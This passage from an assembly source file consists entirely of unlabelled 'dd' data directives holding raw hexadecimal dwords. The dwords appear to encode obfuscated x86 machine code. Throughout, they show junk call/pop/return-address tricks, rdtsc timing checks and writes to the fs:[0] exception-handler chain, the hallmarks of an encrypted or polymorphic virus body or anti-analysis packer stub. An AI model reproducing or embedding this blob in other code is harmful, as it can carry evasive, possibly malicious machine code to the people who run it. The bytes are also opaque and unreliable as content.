7F20000h, 0F4DB5642h, 6C724615h, 56365B37h, 699D8937h dd 5B05E715h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2AC35141h, 3F98405Eh dd 0A92A0E2h, 0C73FDF81h, 0B5297D56h, 5E72E5Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8EC35242h, 1D858922h dd 0D05E705h, 88h, 1F89BD2Bh, 11E805E7h, 0CC000000h, 0C17817E7h dd 0DF3750B4h, 3029C6CDh, 0D0391007h, 15958B5Fh, 105E723h dd 0E70779BDh, 0B98D8B05h, 8B05E708h, 0E70D19BDh, 0C28B5005h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6058188Bh, 19B59523h dd 8D8B05E7h, 5E72569h, 1B810F61h, 0E8000000h, 12h, 0D918ACB4h dd 45A44A8Eh, 0DB7FD818h, 2617A52Fh, 0B70F8891h, 0BD835FD8h dd 5E7211Dh, 28840F00h, 80000000h, 0B837E3h, 0E9000000h dd 0Ch, 0E0D4CC4Bh, 0CA9805FCh, 9E2703DCh, 4DFA8D8Dh, 0B58905E7h dd 5E72241h, 83F9E1FFh, 0E70C99BDh, 840F0005h, 3D3h, 9D89F88Bh dd 5E72C69h, 0C99BD83h, 0F0105E7h, 3D984h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 3270DD7Bh, 3D9D8B5Fh, 8305E722h, 0E70C99BDh, 860F0305h dd 370h, 41DF8166h, 6A6085h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0B49A47C3h, 47CB0113h dd 0A1EF806Ah, 6AD98C66h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 4F4DC351h, 504BDB2Bh dd 0C4BC784h, 0E18002B7h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0F8092D86h dd 0B347CAA5h, 11958950h, 5B05E72Eh, 5BEF87BBh, 0FC90A59h dd 0F284h, 0EF816600h, 858B274Fh, 5E7072Dh, 0FAC38053h dd 8185335Fh, 0E805E72Eh, 7, 242600C4h, 0F16FF66h, 682h dd 0AD9D8B00h, 5F05E700h, 0D2BB5090h, 90320EA0h, 6AD9BF0Fh dd 0DBBF0F00h, 91DBA568h, 0F5250D7h, 289h, 0F5F5600h, 9E831h dd 94430000h, 0CDAFDC96h, 0B3595516h, 585A5F1Fh, 5A240481h dd 0F288D28h, 1081h, 0BE900h, 85C90000h, 9A5C2534h, 60BDBF3Bh dd 0E595FF7Ch, 6A05E720h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 32BCC353h, 66FB7333h dd 8589F98Bh, 5EAA350h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0ADC35141h, 8E8DDF9h, 21000000h, 660983BFh dd 8B5F940Ah, 0E72C019Dh, 7FE95B05h, 29000001h, 0E723C185h dd 95BD8B05h, 8B05E704h, 0EAA34885h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0C08A452Eh dd 0CC1331E6h, 0DE8BFB8Bh, 1800C7h, 0B5890000h, 5E72825h dd 0A34CB58Bh, 0F4B705EAh, 81858Bh, 0BD8B05E7h, 5E72D9Dh dd 0E8F50689h, 7, 139864F8h, 9CBEA65h, 0E7162DB5h, 858B5B05h dd 5E7072Dh, 2D5D9529h, 468905E7h, 91853104h, 9605E70Eh dd 965052B7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 75C35040h, 3A870CAFh, 16810Fh, 11E90000h, 89000000h dd 0A24753ABh, 20F540B1h, 89A76D1Dh, 0B1621FACh, 0A348B5FFh dd 860F05EAh, 6, 0F0DBD8Bh, 4E805E7h, 0FF000000h, 0E8001F03h dd 6, 24B435EEh, 8B668D4Ch, 0BF505BFEh, 31388C78h, 424448Bh dd 10E860h, 0E4500000h, 0E0EB5122h, 0CEFB25ADh, 2B42DAACh dd 5E51EA4Ch, 8B615Eh, 0B466EEBFh, 24448936h, 58F98B04h dd 858DD98Bh, 5EAA350h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 33C35343h, 0D7CA1510h, 0E07A47DBh, 999D8B22h dd 5005E722h, 8E86060h, 0DC000000h, 0AB1468CAh, 5FEA5FBCh dd 8269B866h, 92BE6661h, 489617Bh, 0DBBF0F24h, 20E595FFh dd 0BB6605E7h, 6A6125F3h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0FCDC357h, 68Dh, 999D8900h dd 0C705E716h, 0E70C9985h, 305h, 148A0F00h, 0E8000000h dd 0Ch, 26C7F997h, 3506001h, 48E3A63Bh, 835F6160h, 0EAA350BDh dd 840F0005h, 20h, 0EE960h, 1C2C0000h, 0CB9C6B8Bh, 0B54477D0h dd 5376A614h, 21E961h, 0B5310000h, 5E7039Dh, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 8D89FBB7h dd 5E70179h, 16699D03h, 0BD8305E7h, 5E70C99h, 58850F03h dd 0F000004h, 38Dh, 0FBBF0F00h, 0A350BD83h, 0F0005EAh dd 44284h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 3233E3FFh, 0CFBB7630h, 0F6AE8A9h dd 68Fh, 8FEB8100h, 0FF5CB0AAh, 0EAA350B5h, 0DDBD8B05h dd 0FF05E70Ch, 0E72D6995h, 0DBB70F05h, 8BFA8B66h, 0EAA344B5h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0AFB8943Dh, 4432489h, 15558589h, 6C705E7h dd 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0C1C35747h, 0EA65C71h, 29B4282Bh, 0E7096595h, 0BF669605h dd 0E9505AB8h, 6, 5D3A03C1h, 51966168h, 5FDBBF0Fh, 0A350B5FFh dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0FFFA52C3h, 0E7247D95h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 18874A03h, 0BF6629AAh, 0B58BDF0Dh, 5EAA344h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 1CC35141h, 92DA1C8Dh dd 0D71FBF66h, 3CD858Bh, 868905E7h, 0C4h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 70C35646h, 33ED6672h dd 423A8694h, 61BD8B4Bh, 8105E722h, 0F25D1AF3h, 15958B3Bh dd 8B05E723h, 0E726E5BDh, 4C28305h, 2F9DBD8Bh, 12E805E7h dd 8B000000h, 0A603CDCAh, 0E1F68BBh, 8DB3BE82h dd 26A3AB39h, 13E995h, 0BED60000h, 84C446BFh, 6060F13Bh dd 1E63CAF9h, 87889760h, 50895BA6h, 56006A20h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BD8B8B4Ah dd 5E72F11h, 0B732858Dh, 0BD8B05EAh, 5E71619h, 0B88689h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0EEA232C3h, 6A870840h, 0DE900h, 53FB0000h dd 0CBF1F417h, 4830A457h, 0FF92D50Eh, 0EAA350B5h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0E94A85DFh, 5E1CBB66h, 4195FFh, 6A05E7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0F58A48C3h dd 0BD8BEEE2h, 5E72251h, 8E8h, 5E9E7B00h, 0DC03236Ch, 5FF9574Ah dd 5E95Bh, 0C38E0000h, 50C9DE27h, 5A576053h, 34895F61h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 6C45C03Fh, 7E9B0h, 0A09C0000h, 8E9DF08Ch dd 50B5FF46h, 6A05EAA3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0B968C352h, 6C55BBE9h dd 0C72824E0h, 2BC9BD0Bh, 95FF05E7h, 5E72A09h, 14E9h, 2A011000h dd 0FDC48519h, 0FC05A880h, 3AD4DEF8h, 10D3E718h, 0F9BD8375h dd 5E704h, 23840Fh, 0FE90000h, 0 dd 0BEFAC4ACh, 52B4FB7Bh, 405C8B6Fh, 0BD29ECB6h, 5E7274Dh dd 24348950h, 0DAB70F57h, 50B5FF5Fh, 2905EAA3h, 0E7316995h dd 1D95FF05h, 3105E707h, 0E70BF58Dh, 0E66EBB05h, 0B5FF548Fh dd 5EAA350h, 22D19D8Bh, 840F05E7h, 6, 137DB589h, 95FF05E7h dd 5E70CC5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 4C35747h, 0E8F3A478h, 0CDBD8376h, 205E725h, 66840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 64C7D7C3h, 0BD09D389h, 5E726F1h, 5FB7D381h dd 858B0EB1h, 5E70651h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 45C35747h, 3D99D8Bh, 810F05E7h, 3, 0C6D9B70Fh dd 0B5090000h, 5E70D3Dh, 0DFD85C7h, 5E7h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E993DEC3h, 0FFFFF3BEh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 7AC35040h, 0AEDBA021h, 8BF8B70Fh, 57006AC1h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 9C9E21Eh, 0BD8BAD7Ch, 5E712A1h, 1AF9858Dh, 9D8B05E7h dd 5E72D89h, 0BF606050h, 30CC9523h, 61F88B66h, 24048961h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0FBC35141h dd 8D893861h, 5E7020Dh, 66EAE380h, 6AE183BFh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 6B4CDA7Eh, 2DF818Fh, 6A1B522Eh, 7858D00h, 6A05EB94h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0B46CC351h, 0AF59D89h, 0C08305E7h, 50FE8A05h dd 0F240489h, 6ADEBFh, 16E19D8Bh, 6A05E7h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FC35242h, 0B43DDDD6h dd 95E3C92Ch, 2C219D8Bh, 95FF05E7h, 5E702C5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 48C35242h, 0BFBACFD8h dd 8D8D1162h, 5EA9514h, 0B531D98Bh, 5E701E1h, 6AD1FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0CC381DC3h, 514BF913h, 0F1BD835Fh, 105E707h, 82850Fh dd 26A0000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0A8C35242h, 87324864h, 6890FF0h, 89000000h, 0E70621BDh dd 0E8509005h, 9, 1F49C398h, 0E5A53539h, 5F5B523Dh, 6A90505Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 31D3C353h, 4E3D9FD6h, 66A9A24Fh, 0E379D781h dd 4195FFh, 9E905E7h, 5E000000h, 0DB9416EAh, 0E21ED562h dd 0D83E9h, 0E800h, 815D0000h, 0EB9411EDh, 0BD9D8B05h dd 6005E71Ch, 2819B589h, 0C68105E7h, 6BF0B0C0h, 5B858D61h dd 6A05EA8Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 4803C357h, 3DBFBB6Bh, 0E850B2AEh dd 11h, 5584719h, 3E73082Ch, 0CB56F263h, 468DAD2h, 86BF666Dh dd 4895FFCh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 67AE5D0h, 70AB3802h, 8529A430h, 5E70F31h dd 35FF64h, 8B000000h, 0E71C759Dh, 25896405h, 0 dd 11E8h, 0E1566800h, 35235E9Fh, 0E0029E57h, 922BC81Ah dd 0DF812713h, 654E5AC6h, 0E185FF5Bh, 6A05E71Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 59F6C351h, 8B3C6992h, 0E701B1BDh, 6AFF6A05h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0B65CC356h, 0E4738EE0h, 0F98BE927h, 129DB5FFh, 0B53105E7h dd 5E7257Dh, 29C195FFh, 59E905E7h, 0F5000001h, 0FE8B00B0h dd 8E870E6h, 42000000h, 9AA9619Ah, 1AB2206h, 0E72C218Dh dd 71E45B05h, 2818D89h, 0BEBF05E7h, 3C6F4C3Ch, 29830F61h dd 89000001h, 0E70BA59Dh, 0C8B60F05h, 6BAF5h, 0BB660000h dd 0C18B7E3Ah, 1EC78166h, 4E8C131h, 85296052h, 5E71355h dd 8BDB503h, 5B6105E7h, 66E2F766h, 0F4ED0BBh, 680h, 0D952900h dd 2B05E709h, 119D8BC8h, 8B05E716h, 11E9D1h, 0DC430000h dd 3901F18Ah, 7205FE37h, 0E57E75A9h, 0E9987818h, 17h, 0E8585360h dd 8, 2458401Eh, 4E2D1D60h, 8166615Eh, 8B2EE8DBh, 0E7316185h dd 3DBD8B05h, 8305E70Dh, 38B307C0h, 0F00C083h, 68Ch, 0B5BD8B00h dd 6605E723h, 3BD9A7BBh, 19830FD0h, 60000000h, 0AB59D8Bh dd 0BD8B05E7h, 5E70D89h, 6EE961h, 0BD230000h, 5E71585h dd 26518D8Bh, 8B6005E7h, 0E72041BDh, 0B6BB6005h, 0E8553782h dd 13h, 0C2FDBE24h, 6B005FF2h, 30EFDA33h, 1837832Dh, 5B15FB7Ah dd 0D88B6161h, 0F01E183h, 2F84h, 0C9958900h, 8305E730h dd 0E72651A5h, 6660FE05h, 0B58EF5BEh, 95896164h, 5E73161h dd 3880Fh, 0BF0F0000h, 63E381DEh, 0E92F63A4h, 0 dd 0FF55B58Dh, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0D6B7AC3h, 0BD8B39D0h, 5E72E69h dd 0BF66006Ah, 95FFD63Eh, 5E71A1Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 36C35545h, 8B40C054h, 0E712959Dh dd 72DB905h, 8B660000h, 0FCE183DAh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 53C35646h, 72FDAE0Eh, 9D8B30B1h dd 5E73245h, 95EB3FCh, 0E72C8D9Dh, 0B805h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 540C0EC3h, 0D82C3556h, 0A1852923h, 2B05E713h, 859D23D2h dd 2905E72Eh, 0E732459Dh, 0C233AD05h, 0D003E8D1h, 7504E983h dd 0E1BD8BF4h, 5605E707h, 6840Fh, 0D3810000h, 7191F78Fh dd 880D5Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 1DA05C3h, 85418ACCh, 2315958Bh dd 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0BB6613C3h, 8D8B0F97h, 5E708B9h, 49A1BB66h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 5484DC3h, 2BE6FA5Ch, 52BF9680h, 0BF5EE830h, 5426B395h dd 0F1858957h, 5B05E72Ch, 211DBD83h, 0F0005E7h, 7884h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0CEBCACD8h, 0B1141E2Fh, 14E9E902h, 0E3000000h dd 0F4C9B7E3h, 0E469EA73h, 4FE21CF5h, 74F1E716h, 0B879E1E8h dd 0 dd 59DBD8Bh, 8D8D05E7h, 5E74DFAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 5DC35040h, 0FF2F7CC3h, 2880FE1h dd 8B000000h, 99BD83DAh, 5E70Ch, 47A840Fh, 0CE90000h, 0F7000000h dd 6B01B372h, 65DC54E2h, 836FCADDh, 0E70C99BDh, 840F0105h dd 477h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0D7C35646h, 8372A530h, 0E70C99BDh, 860F0305h, 415h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0A3C35343h dd 1F3959DFh, 0CE9BD8Bh, 895605E7h, 0E715799Dh, 6A605B05h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 8F85C357h, 8DFEEF88h, 0F23FC56h, 384h, 5FF95100h dd 3261BD8Bh, 816605E7h, 66191FD7h, 6AD98Ch, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0F88A25C3h dd 0F04E180h, 0C90AFEB7h, 13D840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 12B512C3h dd 176A4EDEh, 25AD9D8Bh, 858B05E7h, 5E7072Dh, 2E818533h dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0CB7CFFC3h, 0BD8B42F0h, 5E7321Dh, 5BE3BB90h dd 0BF50424Ch, 1D580648h, 0ED9D8990h, 8905E70Eh, 0E725D595h dd 89006A05h, 0E7059595h, 4E805h, 3FF0000h, 0B350001Fh dd 24448B56h, 66525004h, 0F5C6EBFh, 28A0F31h, 50000000h dd 8B585A5Bh, 89DA8B00h, 66042444h, 6A58D88Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0E2D4C351h, 0E595FF17h, 6A05E720h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 53F7C350h dd 0E84DB613h, 0Dh, 9FBC6B6Bh, 0B9FA5143h, 4AE348EBh, 0DE967h dd 42010000h, 3F200780h, 1EDDD13Ah, 5BBE817Ah, 0A3508589h dd 0BF6605EAh, 0E2E917CFh, 8B000001h, 0E708F59Dh, 0BE805h dd 5B710000h, 0A0E9DCB8h, 9CBD8393h, 0E3816655h, 8B5FB170h dd 0EAA34885h, 0A1858905h, 0C705E706h, 1800h, 0D5B58900h dd 8B05E712h, 0EAA34CB5h, 1D9D2905h, 8B05E704h, 0E7008185h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 4B932860h, 0ED5C26A8h, 689D7C1h, 8A19531h dd 858B05E7h, 5E7072Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0B5C35141h, 0FA47BFBBh, 446896Ch, 12E8h dd 0BE715300h, 0B9959EA0h, 0CAD1719Ch, 12CB16CBh, 66A6F984h dd 8F8C781h, 9E8965Bh, 0E7000000h, 0B1CAF71Fh, 0E433BDF8h dd 5F575250h, 5B57310Fh, 505F585Ah, 6A96DA8Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 9D64C351h, 0BF0F7A5Ah, 48B5FFDEh, 6A05EAA3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 1372C352h, 8B571D07h, 0DE8A5BDAh, 4E8h, 1F03FF00h, 0BABB6600h dd 448B5076h, 73BF0424h, 8B08A6FFh, 820F00h, 89000000h dd 50042444h, 60525052h, 0E8310F61h, 7, 59EBF81Fh, 5B1603FDh dd 310F585Ah, 585A15B7h, 9DC38158h, 8D3081B8h, 0EAA35085h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 85294796h, 5E713B5h, 0FE850h, 4D930000h dd 0AB548F81h, 5A1F77Ch, 628A6FABh, 0F88B66EEh, 2404895Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 9EC35141h dd 0EC472DECh, 0BF49A384h, 0E595FF3Bh, 305E720h, 0E720F99Dh dd 89F56105h, 0E70EAD8Dh, 9985C705h, 305E70Ch, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0BD46C351h, 0AD506A61h, 11B58915h, 8305E709h dd 0EAA350BDh, 840F0005h, 35h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 46C35545h, 0C42B1AD5h, 5CB0BF66h dd 27E9h, 7E900h, 83330000h, 9867DE1Dh, 0C3050BCh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0F543BF51h, 6A5B7B82h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 8256C353h, 0BC1CEF36h, 0E37FF0DEh, 0C99BD83h dd 0F0305E7h, 3B585h, 0BE900h, 3180000h, 0B0DEFC03h, 0E3CDAA54h dd 50BD83F9h, 5EAA3h, 398840Fh, 8F0F0000h, 9, 3820Fh, 0F3800000h dd 50B5FFB5h, 6A05EAA3h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 8171C357h, 6995FFCBh dd 6A05E72Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0C101C351h, 0EB80DE3h, 0B58B9CC5h dd 5EAA344h, 30D78166h, 106C7C8h, 8B000100h, 0E72D41BDh dd 0BF665005h, 3489AAF0h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 11C5BF3Ah dd 0B5FF1D3Dh, 5EAA350h, 0F5D9D33h, 95FF05E7h, 5E7247Dh dd 0FBB70F51h, 44B58B5Fh, 8B05EAA3h, 0E72E6D9Dh, 0CD858B05h dd 8905E703h, 0C486h, 11E800h, 356F0000h, 778B887Bh, 0A4B60819h dd 0B43C1361h, 0E98A89EDh, 0Ch, 0C63E0C98h, 26C0CA44h dd 0D114FE64h, 15958B5Bh, 6A05E723h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 46CBC353h dd 0FA243A58h, 4C2831Eh, 1C1DBD8Bh, 508905E7h, 11E920h dd 0E150000h, 4E315B18h, 0ACF4A49Bh, 0A29F058h, 8D6CC3CDh dd 0EAB73285h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 7B0625C6h, 8B535963h dd 0E716699Dh, 86895B05h, 0B8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 82C35343h, 2E41457Fh, 60CA2C5Fh dd 8AFFBF0Fh, 6A61C1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0C9C35040h, 0B86660F0h, 9D8B49ECh, 5E72DC9h dd 0ED9D8B61h, 0FF05E72Dh, 0EAA350B5h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 73E2D805h, 4195FF18h, 6A05E700h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 56AEC356h dd 1900BD9Fh, 449BD89h, 509605E7h, 0CE8B6660h, 61F08B66h dd 58D0F96h, 0BF000000h, 47F6A26Eh, 0A350B5FFh, 95FF05EAh dd 5E72A09h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0AAC35646h, 326D16D5h, 0BD8384BAh, 5E704F9h, 49840F00h dd 80000000h, 5096B9DFh, 46D2BF52h, 310F4279h, 8D0F56h dd 5B000000h, 0F50585Ah, 386h, 0D98B6600h, 52006A96h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0AB25DD0Eh, 5436B94Fh dd 0D88B66C0h, 0A350B5FFh, 6A05EAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0D6AA2FC3h dd 2E498D89h, 95FF05E7h, 5E7071Dh, 0BE9h, 0AC862E00h, 0A09E05D2h dd 9374723Eh, 0A350B5FFh, 858905EAh, 5E71669h, 0CC595FFh dd 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 6A29AC3h, 0C838D97Ah, 83B55ED9h, 0E725CDBDh dd 840F0205h, 2Eh, 2C718589h, 858B05E7h, 5E70651h, 5E8h dd 64BA9200h, 5E8FF52h, 0E0000000h, 905FC2F8h, 329BD8Bh dd 5F5B05E7h, 660000C6h, 85C7D98Bh, 5E70DFDh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0BC35545h dd 12BDBD8Bh, 9EE905E7h, 6AFFFFF3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 6895C350h dd 92254A69h, 0C18B705Dh, 6810Fh, 9D2B0000h, 5E706D9h dd 1AF9858Dh, 810F05E7h, 6, 3DA2F781h, 53502AD6h, 8E850h dd 6D6D0000h, 126788F7h, 5B5BE7A8h, 2404895Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9EC35646h, 662C3B31h dd 0C3D2537h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 8C7FF3C3h, 66828E01h, 6AF98Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 7CC35242h, 0EA802F50h dd 0A473CE58h, 0D3B9BB66h, 0A39A858Dh, 6A05EBh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0EBBF79C3h, 57223AE6h, 21199D89h, 0C08305E7h, 0F9B70F05h dd 0F98B5090h, 7E96090h, 74000000h, 64B98D33h, 0BF0F4B4Bh dd 6A61F2h, 0E898D89h, 8B0F05E7h, 6, 2A318D89h, 6A05E7h dd 82B86660h, 35B58B09h, 6105E720h, 2C595FFh, 9D8905E7h dd 5E73261h, 95148D8Dh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0D1FF7EC3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 5DC35545h, 0BD83B270h dd 5E707F1h, 0A8850F01h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 808EC355h dd 880F1BD3h, 0Ch, 6890Fh, 820F0000h, 0 dd 0BF0F026Ah, 0E96090F9h, 12h, 0EB3CB83Bh, 687DA6EDh dd 0CEF99C81h, 0D4263002h, 5061D542h, 56006A90h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0E7ADFA6Dh, 0A099BD6Eh, 11E8E3h, 8E290000h, 9D9F761Ah dd 0A2015813h, 0B021EA1Bh, 0FFFB531h, 58Dh, 0F7816600h dd 0FF5F47BEh, 0E7004195h, 4800F05h, 66000000h, 0E97EC6BBh dd 0CE7h, 0E8h, 0ED815D00h, 5EBA3A4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 49C35646h, 8D4CB8EBh, 0EA8F5B85h dd 0B5BD2905h, 5005E716h, 48984B3h, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 197E4175h dd 35FF64B1h, 0 dd 10E9h, 0B14D4300h, 0E50E9879h, 0C459F0A8h, 1F07F551h dd 258964D7h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C2C35747h dd 0C2822A10h, 63C7AC91h, 0E185FFC5h, 6A05E71Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 310FC350h, 0B245665Ah, 13E01170h, 0F381FF6Ah, 79F1E28Fh dd 31DDB5FFh, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 30F16BC3h, 4BDBD89h, 95FF05E7h dd 5E729C1h, 12DE9h, 0DF816600h, 0B00A61h, 2BBD9589h, 70E605E7h dd 5237FFBFh, 8171E47Ah, 0ADC492C7h, 0F613C5Ah, 10983h dd 0FFA8B00h, 14E9C8B6h, 71000000h, 74942902h, 8AB4330Dh dd 0FDE05BB9h, 14A69284h, 0BAA2A999h, 6, 17019D33h, 0C18B05E7h dd 0C2DB531h, 5B5605E7h, 0E904E8C1h, 0Dh, 5D1F0DA8h, 0DCCB883Bh dd 441D41B2h, 0E2F7669Bh, 5BD0BF8h, 2B05E72Fh, 0B1BD8BC8h dd 8B05E72Dh, 0EE9D1h, 0F8BE0000h, 0A454CA00h, 23D7025Fh dd 0D87CFEFCh, 12E9h, 0C8B0F00h, 0F000000h, 685h, 0B0C38100h dd 